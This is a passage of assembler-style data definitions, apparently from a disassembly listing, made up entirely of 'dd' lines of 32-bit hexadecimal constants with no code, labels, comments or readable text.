0A26F50B0h, 69FEEE10h, 8EAA601h, 1CCBE7D7h, 7097394Fh dd 602A520h, 0B8AC1C43h, 6EB03B9Dh, 0AFFC417Bh, 3BF0A34Ch dd 3C182B12h, 6C0E7401h, 288BAF7Bh, 0FA005C46h, 0F1CEEDF8h dd 9809D860h, 56A85652h, 60064837h, 699621DEh, 6B502614h dd 7414029Ch, 38B4E48Ah, 7C30DFB3h, 4C8631E7h, 0A97F42Dh dd 38E2A731h, 0DA23C030h, 66883A2Fh, 0C3B73946h, 0C7027856h dd 0A10DA038h, 744EC601h, 515FA020h, 0E00AEC9Ch, 811C9106h dd 0A6045947h, 0D7A84BE3h, 41EEEB28h, 0A2F8E402h, 435906DDh dd 0A423FDA4h, 9989174h, 0F5AAC0h, 853DA657h, 0B887D4E2h dd 80DD5105h, 1403F8A2h, 0C808E556h, 18F7562h, 0B8860582h dd 188420D1h, 50390371h, 9A6ADA7Bh, 0B8CB3CEBh, 188BD5D9h dd 0AB7018D1h, 40427907h, 51BBCA07h, 0B141C923h, 0B8E2CB28h dd 18706C44h, 60D52141h, 340EF362h, 793BD1A2h, 418A1FB8h dd 401C8ADAh, 3E24AA63h, 2C05960h, 75BFC35Eh, 814610h dd 0A71D45D2h, 189A57DFh, 50CD8622h, 0C30EA2BAh, 8A7FE690h dd 13C06830h, 63201EE5h, 0DC298DEh, 39B0C3D8h, 2962883Fh dd 0B68018DFh, 9D2B0EA8h, 39B780Bh, 10CA65DCh, 80C62B3h dd 10B6E6E0h, 3FA40050h, 60F5E08h, 0B400E1A5h, 540D38CEh dd 0E6AFDA8h, 295A97EAh, 0BB5C04E1h, 559C60A5h, 96808B0Fh dd 84710024h, 0DDA7C1h, 16120409h, 0B66E5EAAh, 0F6DC9C17h dd 40D3C40Eh, 7313CEBCh, 3EF70E08h, 9DE09216h, 64C2EE58h dd 1A7B0A00h, 0D78CBACBh dd 0C9CA03A4h, 6FC453FBh, 8D204980h, 3DA7EE03h, 0E824BDBCh dd 18A94B06h, 0D8CC1A7Dh, 35759A40h, 6F679D00h, 9E71721h dd 0E17B1Eh, 6B2FDF30h, 8ED42456h, 5BD2EB00h, 0ED5D2C1Ah dd 0CF553B7Ah, 97D60380h, 0F57E1704h, 0CA0D4900h, 0ACA28215h dd 2FE0034h, 0B041F5Fh, 40012939h, 0BD51593Ch, 0AC40616Eh dd 13F06AAh, 660779E0h, 6EB5F011h, 0AD3DE4C3h, 979EB800h dd 0F17D5D2h, 6336F12Eh, 0DC8A6AE0h, 4B3EA49Ah, 441600DFh dd 43CC89E5h, 0A1020631h, 525B39ABh, 6A00DB7Ch, 3D59C2BBh dd 0F6A60C8Eh, 0D21B1DB3h, 49EB007Ah, 26FC4377h, 0AAED991Ch dd 8A6EE43h, 36A8C8BAh, 0FA6107FDh, 0B0E128F5h, 10012774h dd 44C73Ah, 0BD2433A8h, 5D81E4Ch, 0B6EB85C2h, 0E30C0F17h dd 0ABC72823h, 9970A2E0h, 0F30FE5F8h, 1425726h, 6916953Ch dd 0D7E2D0h, 7262A802h, 0CA58DBD4h, 8784233Bh, 0F0B55FD1h dd 678680BFh, 669B19h, 20F504C7h, 3E905DA6h, 8EB81F00h dd 0A44FA73Dh, 0A2E0074Ah, 0C0A88092h, 707114AEh, 8F3FD300h dd 51ADE58Ch, 0BC6800A0h, 2077C37h, 3C00D509h, 6B322472h dd 1FC52A77h, 1E295B9Dh, 1FD080EEh, 4818A0D3h, 28AA2200h dd 89E46AECh, 31A1E6ADh, 33291666h, 0F66EFCCAh, 0C7C4C500h dd 0DDC831A3h, 14AB7CE5h, 0AEB52D3Ah, 2986FF0Ch, 7B205628h dd 738418CCh, 8B015ED3h, 0B3283A62h, 41330090h, 0B7070DE7h dd 0D1274CC1h, 0A2E4807Eh, 0F165ABh, 0B03A77FDh, 0AEA0A468h dd 61003978h, 0F927BBAFh, 491C1Fh, 694354C8h, 19FACD53h dd 741AA400h, 0F705E03Eh, 0F58E0093h, 34284DA6h, 4000A089h dd 647C5758h, 1EEA3D04h, 873A804Fh, 306FED14h, 8456C6DEh dd 8A908BF0h, 3E360733h, 24E2C006h, 0A5EC000Ah, 9FF2F9CFh dd 2E00CA76h, 0B6EF2513h, 135E63Fh, 914B29BEh, 0FCCE785Eh dd 0D8F8F9F4h, 0FA74137Eh, 79C2F300h, 0C19C7319h, 2968076Fh dd 0B0B02806h, 31BAD1AFh, 531C8C0Eh, 525403DAh, 6671A8D6h dd 0C7F80050h, 0B4832F48h, 4F00E8BBh, 533E9D11h, 3C6C93h dd 10AD9201h, 22D8CDB1h, 0FD6F5B07h, 5554254h, 3D325DC0h dd 0B0F30353h, 0ECDFA264h, 77A767B0h, 275D3703h, 0B8FF03AAh dd 0C58670h, 5B8223EAh, 81FDAC35h, 0E9F86400h, 0DEB7CA7Ch dd 0B3DF0052h, 0DACBF051h, 66001449h, 13C8D5F8h, 48A5BFBEh dd 791FACF1h, 1CDD8Dh, 84A848E8h, 7600BE4Dh, 246DC989h dd 285FED9h, 2DE0C57Bh, 40DDBF69h, 0DA43EDh, 43C8F1Eh dd 9DF37428h, 0EFF50600h, 9C301FAEh, 7BF82E65h, 4A3D0228h dd 0D6013BFh, 45020DF0h, 0D36DD982h, 9CE1407Ch, 0C56E004Ch dd 838E7B8Bh, 0B40F2B6Ch, 5F53037Fh, 43F1C600h, 309C4BF4h dd 3C585F95h, 693B8738h, 5D6A000Dh, 1C489897h, 0F2850035h dd 0B0C4BCD2h, 3C034B76h, 8A3119ECh, 0F64FE0EEh, 0CAFE002Ah dd 0FC256C87h, 3500031Ch, 1D188C9Ch, 0A2EF63Fh, 953E1389h dd 2A480793h, 39BF7022h, 0E901FDC5h, 96DA6CA6h, 3920B48Fh dd 17370049h, 0FFB60C79h, 4600AD28h, 1E9164A6h, 3FD2E0h dd 74428440h, 0F5263CA7h, 23E8ED00h, 0FBF72261h, 4801000Fh dd 0C51142E0h, 501389A3h, 3803CCC9h, 0A8FF3F66h, 736901Dh dd 96D3FEF9h, 25E4D065h, 0C6129C3Dh, 6712E529h, 0CD7A0FBAh dd 6783440h, 2F01283Ch, 0D212E970h, 9C47FF79h, 9A885ED0h dd 0F70F00DBh, 97C4A1D4h, 6C48C729h, 0FA37007Bh, 9D7B6AC9h dd 91FE00B3h, 0F2AE614h, 76009028h, 39D2AEA1h, 2DD797Fh dd 9F55C227h, 1140DF59h, 3A071DB1h, 0ABB64DC1h, 458576F1h dd 67D8BDDDh, 0F56000D0h, 952F9A56h, 0A51C8011h, 0FD417AA8h dd 1804C34Bh, 8CD230h, 0ADF91341h, 48A8E0BBh, 4C3D5600h dd 2FE5C4A4h, 0E73B00CAh, 4FC3D670h, 0AB009121h, 80EC3106h dd 3BFE9F47h, 48F4E3A6h, 0A6608C44h, 0C7AEBEDCh, 0E97915Ch dd 0E0FF6AC8h, 254AAC20h, 0CEF6003Ch, 0A62B0724h, 0C6045BCFh dd 0F81AEE9h, 643B0080h, 30C00059h, 650A8EF6h, 0FF1E628Ch dd 200882Eh, 29B0CBAEh, 3F730008h, 0A640030Ch, 1290F2FEh dd 0E03A1C00h, 2EBEB36Ah, 0BA0A00C8h, 418F3BE5h, 0ACC2DBDDh dd 40AF32A9h, 0FFFE1C43h, 0B44C90F7h, 91490033h, 0DBD7C930h dd 0AC005C10h, 270BC75Bh, 1FBBE836h, 87F18Dh, 1AA7B47Dh dd 5F00E604h, 721F49E2h, 7F4329h, 74D9DCF5h, 275C41B2h dd 1202A9E4h, 0C7E6B6FFh, 0A62640CEh, 7BAD0078h, 0BAA45A77h dd 0D4008829h, 878DBE55h, 1DCE9CCAh, 0E553E2EEh, 86002ED0h dd 0EDA2D91Ch, 3516F5h, 34DC62B6h, 70CA084Bh, 0BD1A0400h dd 0C1B1E2A7h, 11803C9h, 0D61697B5h, 93251C90h, 0C5965900h dd 7E65F92Bh, 3EE305A0h, 0C08CAEFBh, 0EC72EE24h, 0BD97B102h dd 40D604DDh, 3E477D5Bh, 3F80066Dh, 55FCCBAAh, 11004438h dd 0EBD7A7DCh, 33D8A4Ch, 0C0517A6Fh, 0B9B37443h, 11C65100h dd 1839969Ah, 369E0013h, 0E20D95BBh, 0AC03AE4Fh, 4CFFFEA4h dd 3BAD8A0h, 98C3006Fh, 5894228Ah, 1407E26Dh, 480D72EFh dd 0ECEBD550h, 935E0021h, 2FD8F5CAh, 1300D617h, 75976FB7h dd 1E4C883Ah, 0A481BEEEh, 1EE02413h, 0C15183DAh, 2C80451Bh dd 650453E7h, 8D6C14DEh, 0DAD857C0h, 170801C7h, 0A5EB1C94h dd 1693D0B1h, 9D470900h, 6DDA2883h, 0A03700C3h, 0B973E32Ch dd 8FF035FCh, 4620CE00h, 0B7BE7D85h, 513E1DCFh, 21040007h dd 7A5DE967h, 70D98E00h, 0B1117440h, 0B66D0789h, 4013B737h dd 19E856F3h, 3803E477h, 0BD546195h, 427AF0F6h, 18680364h dd 0E9B404ADh, 496B8498h, 33B7B100h, 0EE96FC4Dh, 685400D9h dd 0BFEF9D52h, 28703978h, 0AAB7D800h, 65648082h, 2EC058DAh dd 3933B32Eh, 0BCDF3280h, 693A1014h, 0C10588E6h, 2ADD2BF3h dd 68D100BFh, 8FBC295h, 0FAF48900h, 0E6E562F1h, 5A0E001h dd 6B6A8BC9h, 0E01C0Ch, 0D7611A68h, 2A00E49Dh, 0F898D4EEh dd 3C2CDEh, 77129B66h, 3F3DDFBBh, 0D35770E9h, 0C926B500h dd 7F45CE54h, 27FA0F20h, 8E0783BDh, 12AC003Bh, 0F80002D9h dd 746B03F5h, 89E8BCh, 3CF013EAh, 0AB8087C2h, 0ED0058F4h dd 0B5472AD3h, 1B25D2h, 9E1DF7E5h, 117C889Bh, 87833700h dd 0C8DCAE08h, 6CE00DEh, 0D6DF03E9h, 250EE6BDh, 64F845h dd 85171D5Fh, 8BE50E15h, 0B9C3D451h, 93B1E776h, 61E0C6FDh dd 0A6000FC1h, 0C84AEF6Eh, 0FF4C4Fh, 328616CEh, 0ACE44EA8h dd 0D1001D7Bh, 1F5B8931h, 0DDE16Eh, 36957FAAh, 0FD43F685h dd 76EF6400h, 51D91844h, 8E63072Ch, 1129D8CCh, 0F87CED78h dd 6400479Ch, 0F79BD034h, 4B04AAh, 0E4422A76h, 0F3256BD2h dd 2C00D498h, 0DAF683ADh, 1D9016h, 0BF12F5A1h, 0D3DD0A9Ah dd 52003776h, 81F0CEE4h, 0F1549Eh, 0D2106E3Ch, 0B7CFFEF7h dd 0CC83A800h, 0E93BFB80h, 20C203CDh, 9DA6AD61h, 1BFD9C8h dd 80F9633Eh, 0B7AF42FBh, 75FB4C3h, 4827179Fh, 453C2038h dd 0EA002C5Ah, 3A9DADF5h, 2C8C94A9h, 0B512F6h, 735F170Dh dd 7E01B7D6h, 0AE11693Eh, 0A6D0DA47h, 68B007Ah, 6271AB7Fh dd 2B0099AAh, 0BB2D482Fh, 4CA610h, 45E79366h, 470FC638h dd 0ED92C200h, 2F87630Bh, 0E05301DDh, 40AF151Ah, 161DE87Dh dd 0DC006AE0h, 492AC255h, 790AB48Ch, 0AEFC4C50h, 0BA845A07h dd 225A3DEh, 972F182Eh, 64173B01h, 0CCE83599h, 5EB40043h dd 0EA59FE13h, 540780E1h dd 78BB94CFh, 0C89FA863h, 0AA10D4h, 493A30DCh, 7AFFA725h dd 61E0901h, 9AAB8575h, 0E02DFCh, 8E464F82h, 2BAFEFAh dd 0D0008BE6h, 80BBDEDAh, 0DD761Fh, 0CACB722Bh, 0EB7118E2h dd 727FD95Ch, 0A2B5AD0Fh, 0AA728451h, 0F14F78C0h, 0F4360183h dd 3769A186h, 6304D49Bh, 7CBBE600h, 79C447DBh, 7FF1004Eh dd 73FAE443h, 6E1FB906h, 7500D084h, 0F149E677h, 3A8300ACh dd 0DCBFA224h, 0A3D1CEDh, 2EA5B855h, 0D9008851h, 0F45E8F3Eh dd 0C43900ECh, 0C76D4041h, 4717D110h, 71039D24h, 0E85474D5h dd 14215Eh, 6D3FA41Eh, 6137D8EDh, 49AEA700h, 4C8BB055h dd 0B96B0031h, 11851DA9h, 0BA00BBDDh, 4809AE97h, 62A5BDh dd 504E535Fh, 67164792h, 0C6F8EFB8h, 2B34B507h, 5990D508h dd 9DAF25h, 123958D9h, 37EAECE4h, 10A27D00h, 912AAE5Dh dd 414801E8h, 0A9A35B8Eh, 7735E452h, 5155AB07h, 0DD300AB5h dd 1F082DAh, 61E758B3h, 0D85BFDA6h, 800A82Eh, 24FC92A1h dd 11D8348h, 1F6FEE07h, 0C498855Dh, 9E0ECB0Ch, 87045C62h dd 0DD900F2Ch, 6CC86A0h, 2752A28Dh, 1500209Ah, 0D170ECBCh dd 0E07AF5h, 7DFB778h, 5A683589h, 0B900D4E6h, 4DE61403h dd 0DEC292h, 19291D5Ch, 8B77611Eh, 7F604000h, 0DED838Dh dd 0BA60435h, 0ABE7CEAAh, 0C130820Eh, 2716C0C8h, 0AC2CE0EEh dd 0B371003Ch, 8928D263h, 9A19B8ABh, 0CC282332h, 2087D0h dd 3E0E3880h, 6EE447C4h, 1991E000h, 24BDEE64h, 1BAF00A7h dd 8B692A52h, 0E51F947Fh, 0B24344C1h, 0C91AFFh, 7414EBE0h dd 0C876F999h, 21E72200h, 0E50B8B57h, 0E16D01B1h, 0CABEF4C6h dd 0FE8070F6h, 273A4D00h, 2433886Bh, 963E0042h, 6EB16A52h dd 0A1136C79h, 9000ACE6h, 1EEFC654h, 4910C031h, 0FC3DDC08h dd 0C8B1200h, 25054D98h, 9E7600D7h, 0B93606A6h, 7274C5D1h dd 40BE1913h, 2B3A0EBEh, 8B2E460h, 45001481h, 59046B41h dd 1AD3BF9h, 8AA5EAB8h, 205F9890h, 0F4009F0Ch, 1062D33Ah dd 0FAF05561h, 0A8D7005Eh, 8EBDB988h, 0DB00E5B6h, 8A765337h dd 1EAB5C3h, 7AC68D2Dh, 7047C9F0h, 0C500AD7Eh, 9B2539E9h dd 182B8BEh, 0F6EC6FE6h, 0F4DC3E69h, 0D64A587Dh, 521D9C80h dd 202D2617h, 25650011h, 8BB36D11h, 23AC2100h, 0C0F8D471h dd 4D68009Eh, 6974CD4Ah, 0BA003362h, 102EF75Fh, 1C69AB5h dd 0AA0DF295h, 0F0149D0Ah, 82690B6h, 800002F5h, 85C8BA3Dh dd 12D27171h, 0F11E4C7h, 86E79B74h, 968A4069h, 0A005F84h dd 0F707E1BEh, 0E98155FAh, 0A152E0h, 48250E7Ah, 0A0D695F4h dd 0ED4BF906h, 0B8EAC9h, 14D7B840h, 4F12C77Dh, 16450500h dd 0AD199AE2h, 0F05100CFh, 8E59C12Ch, 73060264h, 50765689h dd 6BF70018h, 0CB61A0D0h, 49C12BB8h, 5E1D2084h, 0F7E8C8h dd 0CBF46F94h, 0C24560F1h, 0FBCEE500h, 0B618B5C8h, 7B01FA65h dd 87F6037Ah, 0BBC76B6Dh, 625158C0h, 7982100h, 7011B0ECh dd 796760CDh, 0DC13551Fh, 0C7686300h, 41165265h, 997E3C90h dd 64663400h, 0D426FCE0h, 0E04EC828h, 80A1EF00h, 0E4B2778Ah dd 67F660h, 921DFAAEh, 0ED30F187h, 0DED9E707h, 1B0C9A4h dd 5A1880h, 0E6D3D4ECh, 495B4FCEh, 76B7D200h, 0CDAA4864h dd 0EE3A1EFDh, 0CCB4C119h, 0E453081Fh, 0F0EE3CAh, 8007B0h dd 7F8EFE2Bh, 0E0890770h, 0C13CC555h, 0D4A52E17h, 0D909DC94h dd 80ACD5DDh, 5405A118h, 7FEF003Bh, 78D202AAh, 5500DD68h dd 9C1B5740h, 2E50B6h, 7B240191h, 977205DEh, 0A2ED5E00h dd 0B1D0543Bh, 0F8AB69Ah, 0E0404BBFh, 0F60CFBDAh, 4AAA6D1Eh dd 0CB9E1007h, 810A2580h, 78870054h, 0DD3E5CA4h, 2F073F01h dd 2AC145B8h, 0EB912DE0h, 0B79E01F1h, 0A7050D9Bh, 0F098FC6Dh dd 87402760h, 409AA62Bh, 5200325Dh, 0C3AB53DCh, 2881E601h dd 0FEAEB17Dh, 99BF00B8h, 0B2FB0BC2h, 72009484h, 48FF6477h dd 9A12762h, 56C35944h, 2A343600h, 0CC12F9EAh, 5D007492h dd 2C81075Bh, 12DEF218h, 0C57C7Fh, 6EB8C909h, 0DA00AD7Eh dd 6B593426h, 7B632760h, 76CE00AAh, 0B0A639A9h, 7D01BD4Dh dd 0AFED6441h, 26C1E2A1h, 0A23100F7h, 4BE30BB7h, 0DC00041Dh dd 0D0915F8Ah, 78DD41h, 9505C055h, 4BA258D3h, 24966200h dd 0E102A83Bh, 0F9F8390Bh, 0C1578180h, 0E488A91h, 0D7714700h dd 0F629D8C2h, 0CA0F00E0h, 0DBFD64D5h, 5E3C2A76h, 0DA6E00D2h dd 0EE5AE5DFh, 20A9009Ch, 803DB57Ah, 840916ECh, 56DBA6Bh dd 8E0FF32Dh, 6872805Bh, 3AF08374h, 0F50F2F53h, 0A809512h dd 0B4F82C07h, 0A9007676h, 415F4A9Fh, 7453E1Dh, 9557A2BBh dd 5EFBF0B1h, 0E20C27EFh, 0A00A4836h, 3E3B0038h, 0BE4C9B80h dd 0FB04592Ah, 0B4A2CA39h, 0E9C08894h, 506A8AB8h, 938CCFh dd 0CCCA0182h, 3F6C7A83h, 7D0056FEh, 0C402D9EDh, 43F32Eh dd 7BCABD53h, 1509F426h, 0EF81F601h, 0F82E304Ch, 9EBABE80h dd 912CAEDCh, 0B0F22F30h, 0DA727Dh, 975094CBh, 0E8371356h dd 0BA87DC00h, 5BD62CBFh, 85FF007Bh, 6235D760h, 5E009175h dd 13C3E1F7h, 0FBC03D9h, 0F3113459h, 0EFE03F0Fh, 894021F2h dd 0BBB41900h, 1B5A1F73h, 30E712B7h, 0C01300C4h, 87276567h dd 0D0C8E000h, 0EDE985A3h, 0CAB70066h, 0FD3BCD9Bh, 0DE0089B4h dd 5CF11975h, 0E695AA14h, 31CFEB6h, 0F96690C2h, 48E01AF5h dd 20037779h, 70950F9Dh, 5E3FB49h, 0E88852D8h, 0C5C800C2h dd 2772E5C0h, 7416CC03h, 0A3403DFDh, 6E2398C4h, 38AF1CDCh dd 3B42429h, 0EB143C0Eh, 803E3074h, 95498147h, 0FC5E0D1Fh dd 203C30h, 9838107Bh, 79F357DAh, 0E961C000h, 4DF46C37h dd 0B740077Ch, 30213B42h, 0EE0D31B4h, 0FF03B613h, 7A162000h dd 1D7DD2Bh, 36844EE5h, 804A69F3h, 64423380h, 757EA2C1h dd 989B0054h, 8039D1ADh, 0B600F696h, 0F09276C6h, 0FE063Dh dd 79EED62Bh, 0EF36CDDEh, 17D06200h, 0FAD389FCh, 0AE010025h dd 83326846h, 591F76CCh, 0DFC03E18h, 60C25AEEh, 366E0777h dd 60F5E28Dh, 0DABD2978h, 9EA9D001h, 9A866758h, 960530h dd 44B94DDFh, 0DAF7E165h, 7F87AE0Eh, 34EF401Bh, 0EC5633h dd 9BE3E65Fh, 0B4C4E26Ch, 0B900F7B8h, 0F63B8D0Fh, 3EF9860h dd 234EFC69h, 99C09716h, 493C6E2Bh, 80108027h, 0EE732CC0h dd 28821DD9h, 0D3AC8317h, 84E0092Bh, 0EF4CC5D4h, 3ADD005Bh dd 43A1C695h, 0DA4F00C7h, 0D3085CE8h, 0A8EA5FD7h, 85EF4C2Eh dd 7E06B09h, 0ABDEDA2Bh, 910703B1h, 3F80C464h, 3CDD4355h dd 9A803EF0h, 0C87917CAh, 41F69245h, 0CD4B48h, 97B55698h dd 0DC7ABh, 71BC4CDCh, 1AEC3B8Ch, 0F17DB300h, 0B7EB3FFDh dd 0D9E301C9h, 79D53355h, 9EC8FC6Ah, 0E08FA001h, 0E3D1FA19h dd 1D22F8h, 0EF1FD81Bh, 80B857BBh, 0C0D2A730h, 3B40231h dd 0A8E620D0h, 38A07B1Eh, 0B658B896h, 3C500DCh, 0B26EDF2Eh dd 827500C1h, 69581A25h, 2A05BA6Ah, 39CD339h, 78D98D00h dd 24DFF4C7h, 0D40902h, 66EA9DA5h, 0A01F75Bh, 0E228F204h dd 51D42543h, 157798Ch, 0E8DCB2C2h, 20FA59A7h, 0CF0034B9h dd 0C404AE28h, 4C082E95h, 5F179830h, 0A7510748h, 0AA49A084h dd 0DEE247E6h, 5C2E3400h, 623B9F88h, 19CF009Bh, 7DC4B603h dd 0BF074F3Ch, 728B11B5h, 97FF0780h, 513A0761h, 0F0D29F4Ah dd 0FC878E76h, 55E4E503h, 8091382Eh, 2FA8CBDh, 0F4ACD386h dd 0A9810C31h, 3112F1C5h dd 6F9C60A4h, 3389630Fh, 7AB240A7h, 0CFF7A4D6h, 75409A21h dd 0FB1F5EBEh, 9223F63Ch, 470F0EA2h, 0D007D2B1h, 0F3C0ED05h dd 529208h, 0AF8593DFh, 7146D1FEh, 60D9AD00h, 4D66484Ch dd 516008Ah, 0FE1252D6h, 4EE69AA4h, 0D0075FFEh, 0DB39B001h dd 665A79C0h, 0FF7D0023h, 4C81BD8h, 0D6000BEEh, 984CF5Eh dd 0A0891659h, 7C661F5h, 3A40363Bh, 5F8B76h, 0D15E78AEh dd 4D8D3ED2h, 33238900h, 0EABBAE38h, 0E6849901h, 5B452F5Ah dd 0EE7E60h, 38741A77h, 0DE163FB6h, 4F488100h, 0D0663AE1h dd 906Bh, 0B8B2EC20h, 8C02A12Bh, 86922A01h, 5175784Dh dd 0B909F4h, 41BF5420h, 96217A01h, 0C0EE3C00h, 94668516h dd 82290067h, 8B5F9538h, 8A00B49Eh, 51804AA5h, 1CA9D985h dd 40CE9AC9h, 906F916Ch, 0D800C8AAh, 20489E98h, 94759Fh dd 59C75E07h, 0DD8D7646h, 0E95FAB00h, 0EE9C8942h, 0E084A347h dd 687986h, 58BF1D26h, 97836035h, 0F8A6EA00h, 0CAD1CE95h dd 9A71F54Eh, 820920h, 9E2AEECCh, 87B00DC0h, 7266EC06h dd 1540ABA7h, 0A88CFC3Ch, 71047629h, 38CC5650h, 75048Dh dd 2D7DAD95h, 0F90083C6h, 0C4800DDCh, 2E920Ah, 0AA8D707Eh dd 0FB22091Eh, 0D434CC0Fh, 7C801C41h, 0F34B8BF7h, 482E0047h dd 0E2F9DE8Ch, 0A0EA984h, 605A82E3h, 5430D51Fh, 0C78600B6h dd 0BF812AE1h, 5805480Ah, 0E6ACCA4Ah, 21512038h, 0DF9E267Ah dd 7022FE00h, 0CD647CCh, 0AB0C7341h, 9A0044C9h, 178A7D0Fh dd 0F0453C16h, 0C08BE83Fh, 0EABF1411h, 1B00C8D2h, 0F46B9DF7h dd 13B8E592h, 79F267h, 8EDA833h, 0BAFE0648h, 0FA9E762Ch dd 6D8DB306h, 45650060h, 0F6D5179Ch, 0A300C1CAh, 4FF1D648h dd 34B0EECh, 0BF027079h, 502A7E1Eh, 640AB445h, 0A860AAF0h dd 0DD421C00h, 0DFC0CB4h, 6D0A0B16h, 0B0608318h, 61BC764h dd 0E69139B0h, 6754105Dh, 27022620h, 7B22D6F8h, 0ED343E20h dd 2027B054h, 0DC1D27C0h, 8FC97D1Ah, 534FD188h, 617CC005h dd 4078956Ch, 0BA534085h, 5B220A10h, 8A608D02h, 0DC808EAEh dd 157BDD3Ch, 0DAD42F1Dh, 600DEB80h, 1FE77891h, 1F5ADBh dd 4928F9D2h, 45000AC5h, 0FD8A9B8Fh, 5470169Fh, 43D203Eh dd 68EA2EF7h, 1222A9Bh, 9112F39h, 1817763Bh, 8B16310h dd 3E1A5C5h, 40996608h, 706BCFE8h, 62F92C84h, 2202310h dd 15E11E96h, 39150815h, 2614470h, 678C47A9h, 7E349CCAh dd 6D812352h, 6A21E00h, 804EBE05h, 0C74345CEh, 684F6ACFh dd 0B3804015h, 0B94B2FD6h, 54CE858Fh, 20357Eh, 434948B0h dd 8A8FBB38h, 0CF2069E6h, 5F34AF60h, 0B8560C77h, 0D68AC740h dd 9CE3208Ah, 0BC42DA6Ch, 4C351E60h, 0A3E646D3h, 4504A9BEh dd 7007C9BFh, 8A574CC0h, 0A97F4Eh, 99C3140Ah, 41E92E37h dd 87AD8513h, 71CA5842h, 309060CEh, 0CB54134Bh, 5B544AA4h dd 25926020h, 404744BDh, 2378B8C8h, 0D00E2B93h, 3C3CC440h dd 72FB1578h, 0C8A920B6h, 7D1064B6h, 94A8DF36h, 0B6AD8085h dd 38040B2Eh, 0B07A2F11h, 0EC22CB1h, 400A3D48h, 0D9404D89h dd 2204B40h, 0A7FB3876h, 44433E46h, 4C9DB4C0h, 918F41D1h dd 3D107AD8h, 480496F5h, 0CCBD4F1Bh, 290F82A8h, 300B9587h dd 54C5A9h, 40A45Eh, 682465E7h, 64BE28B0h, 0C10D9D06h dd 318ECE0h, 18A339A6h, 0F0E0BA25h, 6E238D3h, 20BE6E29h dd 3EAEC400h, 4416C7C1h, 68009F13h, 5C598F2Ah, 90F710A9h dd 2E8E00C7h, 0A414E249h, 3D60CCE8h, 90191728h, 1CD801CFh dd 1D5805F7h, 10204B9Eh, 6FA03F4Ah, 0ED1E1E17h, 5C7EB9Ah dd 78C8426Ch, 0ED471C9Ah, 2044812h, 0E97641CAh, 0E64220B6h dd 551938C0h, 5442C389h, 4320F2A2h, 80576C02h, 0E5EC3DD3h dd 0C31D2000h, 0F270A334h, 0D0BA0329h, 0F581943Ah, 0E3896F81h dd 0C7E019F3h, 2F00201Eh, 0D13FF39Ah, 89F7390h, 369912A7h dd 0C49215E7h, 0CF0815F7h, 8F6F70A6h, 471E373Dh, 0A978D3C8h dd 6A6D210Ch, 1CD2B751h, 60272A04h, 0F67D725Ch, 7E04809Eh dd 6ED7423Fh, 0A1EEA7Dh, 898DF350h, 82CBF140h, 0F4440341h dd 421E00E5h, 9C127991h, 40ECA13h, 8C716333h, 44DCD982h dd 0F8BE94E0h, 8EE70751h, 0C06890CCh, 0CFE67F73h, 65382614h dd 612F8E20h, 76D2FF24h, 22AB840Ah, 4B788801h, 0B7C2003Bh dd 73590032h, 0F39BCF46h, 1A1EDBA7h, 1DC1634Ch, 86E8A882h dd 0ACDDF0h, 0BA2C4F6Eh, 0AD4CB02Dh, 3FF6F104h, 0C33050B8h dd 0F510FFDAh, 4DA84CCAh, 29FF443h, 22D02451h, 2949443Eh dd 0F8EFDA10h, 0EC7D4009h, 0D6FCE814h, 0F4A1DD11h, 3318C6F1h dd 819E8708h, 142A8A04h, 0A0201B7Ah, 23E58762h, 52E4F701h dd 0DE15B43Ch, 0E2408FB0h, 0C01167Eh, 3CF56B19h, 0A1FF49Eh dd 20E24EAAh, 605CDDE0h, 1060AFD4h, 19EAB0B6h, 349B10DAh dd 2B6EA875h, 8220E24Ch, 9CF4AE1Ah, 49020815h, 4061250h dd 0C6C08FB4h, 42DA7CF4h, 1DC0903Eh, 78503CD5h, 3D5626A8h dd 190D0120h, 231FF795h, 4B343EEEh, 2020105Dh, 154A06E4h dd 40882B7Bh, 0C11632E2h, 0BA639D40h, 0DE840A74h, 10AB383Eh dd 0A87E874Dh, 814B420Ah, 5117047Ch, 8FF4C1C4h, 1C3D1689h dd 2BD4E440h, 0C2407AA6h, 6094411Ah, 2B973338h, 66C540A7h dd 1EA6202Ch, 0E3E9B987h, 2D72E4h, 0A063B380h, 8A605F57h dd 1178A062h, 0CDBE1195h, 4DCEF1F7h, 0B706204Ah, 8073F86Bh dd 567DE47Eh, 9035A200h, 3EB62193h, 34D7006Bh, 0BA6A7673h dd 5300AAD9h, 5A7739D3h, 3897B6C0h, 0A681C85Bh, 0A0A74A54h dd 1DBCEC36h, 281B2C28h, 6566DD08h, 4ECE00BAh, 0C84BA6F2h dd 5BCD0A00h, 2DA509E8h, 1C2000D3h, 9F434EB4h, 0BE213616h dd 0D53008C7h, 0F3932D05h, 0F442027h, 7560223Ch, 842F72C8h dd 0D840C1D1h, 83A6487Ch, 78B42D59h, 7E300F59h, 3A90AC98h dd 1ECA217h, 0A8558DC6h, 8787A5E2h, 0AED50A70h, 87368173h dd 38AC3A27h, 219DE545h, 69EEC074h, 0E7C01D0Dh, 60BBBC00h dd 3180D25Ah, 0D8960085h, 0CD7F0245h, 32FC3456h, 20353Eh dd 0A50AC72Ah, 613B405Bh, 2B5750A8h, 0EA588055h, 68D45AD8h dd 0C76000D0h, 3A4131DDh, 0BB52A7D1h, 0DB101DC8h, 0ADEAD300h dd 3A40AAh, 14362580h, 7A473250h, 2354B37Fh, 0F008AE4h dd 85E1E7A9h, 132DA11h, 0F41BC8D8h, 0D8902C50h, 0F1EEA621h dd 80DF6431h, 0F04935B4h, 772012C0h, 2D9803BAh, 0D2A07EB9h dd 5608AC90h, 80D3023Eh, 0A72A97EFh, 5BA63Eh, 5981549Ch dd 36ED257h, 0D9268F1Eh, 82A43A94h, 0A2A40F72h, 8C44A6CCh dd 0EA2E1884h, 0A584A02Fh, 0B1A9027Dh, 6440D05Eh, 0DED894A3h dd 0AFEEAB88h, 0E0A2A02h, 0A0C43262h, 81BA0BA8h, 0D83AFAB8h dd 0CCF448F8h, 78841300h, 3B51C430h, 0A231C00Dh, 67095B7Dh dd 5A065C90h, 0A1FE3A55h, 398A0A88h, 2800158h, 9A67EDC7h dd 2B68FCA3h, 0B486319Ah, 0A82479C9h, 0DD005BAFh, 1DA29CF0h dd 0A87248BEh, 0DE855205h, 0C1A82B2Bh, 4611AC66h, 27F00821h dd 800960ECh, 0B55613CFh, 3547F9C2h, 6980A02Fh, 0CB7801Fh dd 0C3BE9F5Ch, 8B1EDEB0h, 0A9009BF4h, 72FB0209h, 1414701Dh dd 80B5CAE6h, 2FE8660Ah, 0D59D0070h, 2EC36561h, 0C5B52C18h dd 9933E18h, 3F7A5748h, 19812406h, 99DBEC31h, 0E0408DC8h dd 0A1BC2760h, 